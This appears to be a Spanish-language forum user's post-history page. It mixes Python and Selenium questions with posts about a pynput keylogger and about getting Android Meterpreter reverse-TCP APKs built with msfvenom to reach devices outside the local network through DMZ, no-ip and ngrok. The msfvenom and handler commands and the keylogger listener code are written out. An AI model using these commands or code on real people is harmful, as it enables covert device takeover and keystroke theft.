|
Mostrar Mensajes
|
Páginas: 1 2 3 [4] 5
|
31
|
Programación / Scripting / Quitar comillas de un string - python
|
en: 23 Junio 2021, 19:13 pm
|
Hola, estuve intentando hacer un keylogger utilizando pynput, y funciona perfectamente, la cosa es que tengo pensado que las pulsaciones se guarden en un archivo externo, pero no he podido retirar las comillas de las teclas que registra el Keylogger. from pynput import keyboard
def on_press(key): key = str(key) key.replace("'", "") print(key)
with keyboard.Listener(on_press=on_press) as Listener: Listener.join()
creí saber como se hacía, siempre utilizo replace() pero esta vez las teclas que presiono siguen imprimiéndose en consola con las comillas y también se guardan así cuando intento ponerlas en un archivo externo, saben a que se puede deber? O conocen otra forma para retirar las comillas? 
|
|
|
32
|
Programación / Python / Re: Error de selenium - Python
|
en: 17 Junio 2021, 22:13 pm
|
Muchos lenguajes utilizan el carácter '\' como un carácter de 'escape', cuando es así, y el string contiene como parte del string ese mismo carácter, debe remplazarse por doble barra '\\' entonces al hacer el parsing del string se reconocen si forman pares contínuos como el propio carácter y 1 solo contínuo como el carácter de escape y podrá procesar el string correctamente.
Esa regla se aplica también a las cadenas que van entre comillas simples o dobles: 'casa's del monte' tendría que escribirse como 'casas''del monte'. "caso del "monte"", tendría que escribirse como: "caso del ""monte""".
Hay que conocer al detalle la especificación del lenguaje para reconocer cuando se espera. Es frecuente que aún cuando un lenguaje no lo utilice expresamente, sí lo requiera alguna extensión/librería a la que se invoca desde el propio lenguaje usado, en cuyo caso la documentación de dicha extensión/librería lo explicará explícitamente.
Decidí mover el chromedriver al mismo directorio del archivo .py que estoy ejecutando, así podría podría especificar esa ruta sin la necesidad de "/" o "\" ya que tal vez no se utilizar esos caracteres como es debido, el código quedaría resumido a: from selenium import webdriver
driver = webdriver.Chrome('chromedriver.exe') driver.get('https://www.google.com/')
Sigue apareciendo el mismo error, estoy utilizando la versión de python 3.8.8 y la de chromedriver 91.0.4472.101
|
|
|
33
|
Programación / Python / Error de selenium - Python
|
en: 17 Junio 2021, 11:22 am
|
"Unknow error unable to discover open pages" Es ese el error que me aparece en consola luego de ejecutar mi programa. Hace unos días que quise empezar a hacer ejercicios de web scraping con python y selenium porque por lo que leí es la opción más completa y fácil de aprender pero lo único que he conseguido es que se abra una ventana de Google Chrome, luego de eso se cierra y aparece el error en consola sin haber accedido a la url que le indico. https://ibb.co/p4BKkCF (dejo aquí un link hacia la imagen de lo que aparece en consola, no sé bien si hay otra forma de insertar imágenes aquí) Me aseguré que la versión de webdrive que descargué fuera la indicada para mi navegador intenté incluso con cosas que seguramente no tenían nada que ver con el problema, actualicé pip y reinstale selenium y nada. https://ibb.co/y8F35XH (este es el código que escribí)
|
|
|
36
|
Seguridad Informática / Hacking / Bots? que son y como funcionan?
|
en: 11 Abril 2020, 16:02 pm
|
Hola a todo aquel que esté leyendo este post. Llevo ya algunos años estudiando automatización industrial en la universidad y hasta ha ahora he sido capaz de crear autómatas programables que son básicamente pequeños robots que automatizan procesos industriales, incluso mi pc tiene algunas partes automatizadas, ventiladores que aumentan o disminuyen su velocidad dependiendo de la temperatura en el ambiente.
Solo sé contruir sistemas automáticos analógios y programarlos con arduino, aún no tengo mucho conocimiento sobre la automatización digital y hasta donde tengo entendido un bot es básicamente lo mismo, un programa que automatiza procesos de cualquier tipo, y me interesa mucho la automatización y la inteligencia artifical.
Entonces me preguntaba si alguien aquí sabe donde puedo encontrar información sobre el tema de los bots, o si ya hay algún tipo de información sobre eso en este foro, como funcionan y como interactuan con los demás programas, sería de gran utilidad.
(No sé si mi post está mal ubicado, de ser así haganmelo saber por favor, no tengo mucha experiencia en foros)
Gracias
|
|
|
37
|
Seguridad Informática / Hacking / Libros que recomienden?
|
en: 14 Marzo 2020, 09:34 am
|
Hola, hay algún libro en particular que recomienden y que pueda aportar al aprendizaje de seguridad informática? Acepto cualquier sugerencia, libros sobre redes, tutoriales, técnicas, programas, lo que sea, gracias.
|
|
|
38
|
Seguridad Informática / Hacking / Re: Problema, ataques fuera de red.
|
en: 10 Marzo 2020, 07:41 am
|
Perdón, esa parte fue un error mío en la publicación, pongo a metasploit a escuchar el mismo puerto que va en el apk. y sobre los puertos pues creo que sí, lo que sucede es que la empresa que me presta el servicio de internet bloquea las opciones que me dejan abrir puertos manualmente, por eso configuré mi ip local como DMZ y eso me funcionó por un tiempo, según entiendo lo que hace el DMZ es redireccionar las conexiones que llegan a mi router hacia mi ip local y abre los puertos automáticamente cuando es necesario(que alguien me corrija si me equivoco), y aunque mi DMZ está configurado correctamente no puedo realizar ataques fuera de red sino es con ngrok que abre un canal para poder hacer el ataque. Entonces, no sé si se debe a alguna configuración erronea en mi sistema operativo(kali linux) o a la instalación de otra herramienta. La única herramienta que instalé en ese entonces fue NO-IP. Espero que alguien pueda ayudarme con eso, ya que supongo que es algo cansino que se escriba en el foro únicamente por dudas, espero avanzar pronto en esto para poder realizar mis aportes  Por lo que pones creas el apk apuntando al puerto 4444 y te pones en la escucha al 444. Hay puertos externos y puertos internos. Tienes que abrir el puerto externo en la dirección que apunte el TCP reverso y abrir el interno hacia la máquina de tu red que está a la escucha.
|
|
|
39
|
Seguridad Informática / Hacking / Re: Problema, ataques fuera de red.
|
en: 9 Marzo 2020, 23:50 pm
|
No es una solución en si, ya que antes podía realizar ese tipo de tareas sin necesidad de otras aplicaciones, simplemente metasploit y no-ip, pero con el problema que se me ha presentado ngrok me ha sido muy útil, gracias por la información. 
|
|
|
40
|
Seguridad Informática / Hacking / Problema, ataques fuera de red.
|
en: 6 Marzo 2020, 04:21 am
|
Hola, hace días que estuve probando ataques fuera de red utilizando apk's creadas con msfvenom. Al principio funcionaba todo correctamente, configuré mi ip local como DMZ de mi router para evitar problemas con los puertos, e incluso pude utilizar NO-IP con normalidad. El problema es que hace un día o dos, simplemente han dejado de funcionarme los ataques fuera de red, Kali cambió la ip local de mi máquina pero inmediatamente actualicé el DMZ de mi router. Entonces pensé que podría ser un problema de NO-IP y decidí generar las apk's directamente con mi mi pública, de la siguiente manera. msfvenom -p android/meterpreter/reverse_tcp lhost=<mi ip publica> lport=4444 R>/root/Escritorio/aplicacion.apk Luego de haber generado la aplicación me pongo a la escucha de la siguiente forma. 1) use exploit/multi/hander2) set payload android/meterpreter/reverse_tcp 3) set lport=<mi ip local> y también set lport=4445) exploitAún configurando la aplicación de esa manera sigue sin funcionar ¿Alguien tiene alguna idea de qué puede estar ocasionando este problema o como solucionarlo? ¿podría el cambio de ip haber ocasionado eso? Cambió tanto mi ip pública, como la local. Gracias.
|
|
|
|
|
|
|